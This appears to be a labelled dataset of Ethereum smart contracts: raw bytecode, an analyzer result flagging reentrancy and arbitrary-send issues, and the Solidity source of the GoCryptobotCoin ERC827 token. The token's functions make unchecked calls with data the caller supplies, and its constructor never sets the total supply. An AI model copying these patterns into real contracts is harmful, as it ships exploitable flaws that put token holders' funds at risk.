fffffffffffff16146113fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f5906131fc565b60405180910390fd5b8060168190555050565b6114106115ca565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461149d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611494906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150490613335565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611642576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611639906133c7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a990613459565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117909190612ecc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611804906134eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561187d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118749061357d565b60405180910390fd5b600081116118c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b79061360f565b60405180910390fd5b6118c8610e65565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119365750611906610e65565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ceb5760148054906101000a900460ff166119c357611955610e65565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146119c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b9906136a1565b60405180910390fd5b5b601554811115611a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ff9061370d565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611aac5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ab557600080fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611b625760165481611b1784610bf1565b611b21919061372d565b10611b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b58906137f5565b60405180910390fd5b5b6000611b6d30610bf1565b9050600060175482101590506015548210611b885760155491505b808015611ba25750601460159054906101000a900460ff16155b8015611bfc5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c145750601460169054906101000a900460ff165b8015611c6a5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611cc05750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ce857611cce8261212a565b60004790506000811115611ce657611ce547612050565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d925750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611e455750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611e445750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611e535760009050611fda565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611efe5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611f1657600854600c81905550600954600d819055505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611fc15750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611fd957600a54600c81905550600b54600d819055505b5b611fe6848484846123b2565b50505050565b6000838311158290612034576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202b9190612d75565b60405180910390fd5b50600083856120439190613815565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156120b8573d6000803e3d6000fd5b5050565b6000600654821115612103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120fa906138bb565b60405180910390fd5b600061210d6123df565b9050612122818461240a90919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561216257612161612b03565b5b6040519080825280602002602001820160405280156121905781602001602082028036833780820191505090505b50905030816000815181106121a8576121a761321c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561224a57600080fd5b505afa15801561225e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061228291906138f0565b816001815181106122965761229561321c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122fd30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115d2565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612361959493929190613a16565b600060405180830381600087803b15801561237b57600080fd5b505af115801561238f573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b806123c0576123bf612454565b5b6123cb848484612497565b806123d9576123d8612662565b5b50505050565b60008060006123ec612676565b91509150612403818361240a90919063ffffffff16565b9250505090565b600061244c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126d5565b905092915050565b6000600c5414801561246857506000600d54145b1561247257612495565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806124a987612738565b95509550955095509550955061250786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127a090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061259c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127ea90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125e881612848565b6125f28483612905565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161264f9190612ecc565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008060006006549050600067016345785d8a000090506126aa67016345785d8a000060065461240a90919063ffffffff16565b8210156126c85760065467016345785d8a00009350935050506126d1565b81819350935050505b9091565b6000808311829061271c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127139190612d75565b60405180910390fd5b506000838561272b9190613a9f565b9050809150509392505050565b60008060008060008060008060006127558a600c54600d5461293f565b92509250925060006127656123df565b905060008060006127788e8787876129d5565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006127e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fec565b905092915050565b60008082846127f9919061372d565b90508381101561283e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283590613b1c565b60405180910390fd5b8091505092915050565b60006128526123df565b905060006128698284612a5e90919063ffffffff16565b90506128bd81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127ea90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61291a826006546127a090919063ffffffff16565b600681905550612935816007546127ea90919063ffffffff16565b6007819055505050565b60008060008061296b606461295d888a612a5e90919063ffffffff16565b61240a90919063ffffffff16565b905060006129956064612987888b612a5e90919063ffffffff16565b61240a90919063ffffffff16565b905060006129be826129b0858c6127a090919063ffffffff16565b6127a090919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806129ee8589612a5e90919063ffffffff16565b90506000612a058689612a5e90919063ffffffff16565b90506000612a1c8789612a5e90919063ffffffff16565b90506000612a4582612a3785876127a090919063ffffffff16565b6127a090919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612a715760009050612ad3565b60008284612a7f9190613b3c565b9050828482612a8e9190613a9f565b14612ace576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac590613c08565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612b3b82612af2565b810181811067ffffffffffffffff82111715612b5a57612b59612b03565b5b80604052505050565b6000612b6d612ad9565b9050612b798282612b32565b919050565b600067ffffffffffffffff821115612b9957612b98612b03565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612bda82612baf565b9050919050565b612bea81612bcf565b8114612bf557600080fd5b50565b600081359050612c0781612be1565b92915050565b6000612c20612c1b84612b7e565b612b63565b90508083825260208201905060208402830185811115612c4357612c42612baa565b5b835b81811015612c6c5780612c588882612bf8565b845260208401935050602081019050612c45565b5050509392505050565b600082601f830112612c8b57612c8a612aed565b5b8135612c9b848260208601612c0d565b91505092915050565b600060208284031215612cba57612cb9612ae3565b5b600082013567ffffffffffffffff811115612cd857612cd7612ae8565b5b612ce484828501612c76565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d27578082015181840152602081019050612d0c565b83811115612d36576000848401525b50505050565b6000612d4782612ced565b612d518185612cf8565b9350612d61818560208601612d09565b612d6a81612af2565b840191505092915050565b60006020820190508181036000830152612d8f8184612d3c565b905092915050565b6000819050919050565b612daa81612d97565b8114612db557600080fd5b50565b600081359050612dc781612da1565b92915050565b60008060408385031215612de457612de3612ae3565b5b6000612df285828601612bf8565b9250506020612e0385828601612db8565b9150509250929050565b60008115159050919050565b612e2281612e0d565b82525050565b6000602082019050612e3d6000830184612e19565b92915050565b6000819050919050565b6000612e68612e63612e5e84612baf565b612e43565b612baf565b9050919050565b6000612e7a82612e4d565b9050919050565b6000612e8c82612e6f565b9050919050565b612e9c81612e81565b82525050565b6000602082019050612eb76000830184612e93565b92915050565b612ec681612d97565b82525050565b6000602082019050612ee16000830184612ebd565b92915050565b600080600060608486031215612f0057612eff612ae3565b5b6000612f0e86828701612bf8565b9350506020612f1f86828701612bf8565b9250506040612f3086828701612db8565b9150509250925092565b600060ff82169050919050565b612f5081612f3a565b82525050565b6000602082019050612f6b6000830184612f47565b92915050565b612f7a81612bcf565b82525050565b6000602082019050612f956000830184612f71565b92915050565b600060208284031215612fb157612fb0612ae3565b5b6000612fbf84828501612bf8565b91505092915050565b612fd181612e0d565b8114612fdc57600080fd5b50565b600081359050612fee81612fc8565b92915050565b60006020828403121561300a57613009612ae3565b5b600061301884828501612fdf565b91505092915050565b60006020828403121561303757613036612ae3565b5b600061304584828501612db8565b91505092915050565b6000806000806080858703121561306857613067612ae3565b5b600061307687828801612db8565b945050602061308787828801612db8565b935050604061309887828801612db8565b92505060606130a987828801612db8565b91505092959194509250565b600080fd5b60008083601f8401126130d0576130cf612aed565b5b8235905067ffffffffffffffff8111156130ed576130ec6130b5565b5b60208301915083602082028301111561310957613108612baa565b5b9250929050565b60008060006040848603121561312957613128612ae3565b5b600084013567ffffffffffffffff81111561314757613146612ae8565b5b613153868287016130ba565b9350935050602061316686828701612fdf565b9150509250925092565b6000806040838503121561318757613186612ae3565b5b600061319585828601612bf8565b92505060206131a685828601612bf8565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006131e6602083612cf8565b91506131f1826131b0565b602082019050919050565b60006020820190508181036000830152613215816131d9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061328582612d97565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b8576132b761324b565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061331f602683612cf8565b915061332a826132c3565b604082019050919050565b6000602082019050818103600083015261334e81613312565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006133b1602483612cf8565b91506133bc82613355565b604082019050919050565b600060208201905081810360008301526133e0816133a4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613443602283612cf8565b915061344e826133e7565b604082019050919050565b6000602082019050818103600083015261347281613436565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006134d5602583612cf8565b91506134e082613479565b604082019050919050565b60006020820190508181036000830152613504816134c8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613567602383612cf8565b91506135728261350b565b604082019050919050565b600060208201905081810360008301526135968161355a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006135f9602983612cf8565b91506136048261359d565b604082019050919050565b60006020820190508181036000830152613628816135ec565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b600061368b603f83612cf8565b91506136968261362f565b604082019050919050565b600060208201905081810360008301526136ba8161367e565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006136f7601c83612cf8565b9150613702826136c1565b602082019050919050565b60006020820190508181036000830152613726816136ea565b9050919050565b600061373882612d97565b915061374383612d97565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156137785761377761324b565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006137df602383612cf8565b91506137ea82613783565b604082019050919050565b6000602082019050818103600083015261380e816137d2565b9050919050565b600061382082612d97565b915061382b83612d97565b92508282101561383e5761383d61324b565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006138a5602a83612cf8565b91506138b082613849565b604082019050919050565b600060208201905081810360008301526138d481613898565b9050919050565b6000815190506138ea81612be1565b92915050565b60006020828403121561390657613905612ae3565b5b6000613914848285016138db565b91505092915050565b6000819050919050565b600061394261393d6139388461391d565b612e43565b612d97565b9050919050565b61395281613927565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61398d81612bcf565b82525050565b600061399f8383613984565b60208301905092915050565b6000602082019050919050565b60006139c382613958565b6139cd8185613963565b93506139d883613974565b8060005b83811015613a095781516139f08882613993565b97506139fb836139ab565b9250506001810190506139dc565b5085935050505092915050565b600060a082019050613a2b6000830188612ebd565b613a386020830187613949565b8181036040830152613a4a81866139b8565b9050613a596060830185612f71565b613a666080830184612ebd565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613aaa82612d97565b9150613ab583612d97565b925082613ac557613ac4613a70565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613b06601b83612cf8565b9150613b1182613ad0565b602082019050919050565b60006020820190508181036000830152613b3581613af9565b9050919050565b6000613b4782612d97565b9150613b5283612d97565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b8b57613b8a61324b565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613bf2602183612cf8565b9150613bfd82613b96565b604082019050919050565b60006020820190508181036000830152613c2181613be5565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eb59c35af2b77e415dfb386d18edf0e719f7d997d3bde7395aa5da069f3bcbbc64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,270
0xce71b47001a2a63dfc269aa19f9d587a3056ac5e
pragma solidity ^0.4.18; contract GoCryptobotCoinERC20 { using SafeMath for uint256; string public constant name = "GoCryptobotCoin"; string public constant symbol = "GCC"; uint8 public constant decimals = 3; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; uint256 totalSupply_; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /** @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** @dev Gets the balance of the specified address. @param _owner The address to query the the balance of. @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } /** @dev transfer token for a specified address @param _to The address to transfer to. @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** @dev Function to check the amount of tokens that an owner allowed to a spender. @param _owner address The address which owns the funds. @param _spender address The address which will spend the funds. @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** @dev Transfer tokens from one address to another @param _from address The address which you want to send tokens from @param _to address The address which you want to transfer to @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 @param _spender The address which will spend the funds. @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** @dev Increase the amount of tokens that an owner allowed to a spender. approve should be called when allowed[_spender] == 0. To increment allowed value is better to use this function to avoid 2 calls (and wait until the first transaction is mined) From MonolithDAO Token.sol @param _spender The address which will spend the funds. @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** @dev Decrease the amount of tokens that an owner allowed to a spender. approve should be called when allowed[_spender] == 0. To decrement allowed value is better to use this function to avoid 2 calls (and wait until the first transaction is mined) From MonolithDAO Token.sol @param _spender The address which will spend the funds. @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract GoCryptobotCoinERC827 is GoCryptobotCoinERC20 { /** @dev Addition to ERC20 token methods. It allows to approve the transfer of value and execute a call with the sent data. Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 @param _spender The address that will spend the funds. @param _value The amount of tokens to be spent. @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function approve( address _spender, uint256 _value, bytes _data ) public returns (bool) { require(_spender != address(this)); super.approve(_spender, _value); require(_spender.call(_data)); return true; } /** @dev Addition to ERC20 token methods. Transfer tokens to a specified address and execute a call with the sent data on the same transaction @param _to address The address which you want to transfer to @param _value uint256 the amout of tokens to be transfered @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function transfer( address _to, uint256 _value, bytes _data ) public returns (bool) { require(_to != address(this)); super.transfer(_to, _value); require(_to.call(_data)); return true; } /** @dev Addition to ERC20 token methods. Transfer tokens from one address to another and make a contract call on the same transaction @param _from The address which you want to send tokens from @param _to The address which you want to transfer to @param _value The amout of tokens to be transferred @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool) { require(_to != address(this)); super.transferFrom(_from, _to, _value); require(_to.call(_data)); return true; } /** @dev Addition to StandardToken methods. Increase the amount of tokens that an owner allowed to a spender and execute a call with the sent data. approve should be called when allowed[_spender] == 0. To increment allowed value is better to use this function to avoid 2 calls (and wait until the first transaction is mined) From MonolithDAO Token.sol @param _spender The address which will spend the funds. @param _addedValue The amount of tokens to increase the allowance by. @param _data ABI-encoded contract call to call `_spender` address. */ function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.increaseApproval(_spender, _addedValue); require(_spender.call(_data)); return true; } /** @dev Addition to StandardToken methods. Decrease the amount of tokens that an owner allowed to a spender and execute a call with the sent data. approve should be called when allowed[_spender] == 0. To decrement allowed value is better to use this function to avoid 2 calls (and wait until the first transaction is mined) From MonolithDAO Token.sol @param _spender The address which will spend the funds. @param _subtractedValue The amount of tokens to decrease the allowance by. @param _data ABI-encoded contract call to call `_spender` address. */ function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.decreaseApproval(_spender, _subtractedValue); require(_spender.call(_data)); return true; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract GoCryptobotCoinCore is GoCryptobotCoinERC827 { function GoCryptobotCoinCore() public { balances[msg.sender] = 1000000000 * (10 ** uint(decimals)); totalSupply_.add(balances[msg.sender]); } function () public payable { revert(); } }
0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806316ca3b63146101ac57806318160ddd1461021557806323b872dd1461023c578063313ce567146102665780635c17f9f41461029157806366188463146102fa57806370a082311461031e5780637272ad491461033f57806395d89b41146103a8578063a9059cbb146103bd578063ab67aa58146103e1578063be45fd6214610450578063d73dd623146104b9578063dd62ed3e146104dd575b600080fd5b3480156100f657600080fd5b506100ff610504565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610139578181015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018057600080fd5b50610198600160a060020a036004351660243561053b565b604080519115158252519081900360200190f35b3480156101b857600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610198948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506105a59650505050505050565b34801561022157600080fd5b5061022a61065f565b60408051918252519081900360200190f35b34801561024857600080fd5b50610198600160a060020a0360043581169060243516604435610665565b34801561027257600080fd5b5061027b6107e5565b6040805160ff9092168252519081900360200190f35b34801561029d57600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610198948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506107ea9650505050505050565b34801561030657600080fd5b50610198600160a060020a0360043516602435610817565b34801561032a57600080fd5b5061022a600160a060020a0360043516610910565b34801561034b57600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610198948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061092b9650505050505050565b3480156103b457600080fd5b506100ff610958565b3480156103c957600080fd5b50610198600160a060020a036004351660243561098f565b3480156103ed57600080fd5b50604080516020601f60643560048181013592830184900484028501840190955281845261019894600160a060020a038135811695602480359092169560443595369560849401918190840183828082843750949750610a889650505050505050565b34801561045c57600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610198948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610b449650505050505050565b3480156104c557600080fd5b50610198600160a060020a0360043516602435610b71565b3480156104e957600080fd5b5061022a600160a060020a0360043581169060243516610c13565b60408051808201909152600f81527f476f43727970746f626f74436f696e0000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260016020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b600030600160a060020a031684600160a060020a0316141515156105c857600080fd5b6105d28484610b71565b5083600160a060020a03168260405180828051906020019080838360005b838110156106085781810151838201526020016105f0565b50505050905090810190601f1680156106355780820380516001836020036101000a031916815260200191505b509150506000604051808303816000865af1915050151561065557600080fd5b5060019392505050565b60025490565b6000600160a060020a038316151561067c57600080fd5b600160a060020a0384166000908152602081905260409020548211156106a157600080fd5b600160a060020a03808516600090815260016020908152604080832033909416835292905220548211156106d457600080fd5b600160a060020a0384166000908152602081905260409020546106fd908363ffffffff610c3e16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610732908363ffffffff610c5016565b600160a060020a0380851660009081526020818152604080832094909455878316825260018152838220339093168252919091522054610778908363ffffffff610c3e16565b600160a060020a038086166000818152600160209081526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600381565b600030600160a060020a031684600160a060020a03161415151561080d57600080fd5b6105d2848461053b565b600160a060020a0333811660009081526001602090815260408083209386168352929052908120548083111561087457600160a060020a0333811660009081526001602090815260408083209388168352929052908120556108ab565b610884818463ffffffff610c3e16565b600160a060020a033381166000908152600160209081526040808320938916835292905220555b600160a060020a0333811660008181526001602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600030600160a060020a031684600160a060020a03161415151561094e57600080fd5b6105d28484610817565b60408051808201909152600381527f4743430000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a03831615156109a657600080fd5b600160a060020a0333166000908152602081905260409020548211156109cb57600080fd5b600160a060020a0333166000908152602081905260409020546109f4908363ffffffff610c3e16565b600160a060020a033381166000908152602081905260408082209390935590851681522054610a29908363ffffffff610c5016565b600160a060020a038085166000818152602081815260409182902094909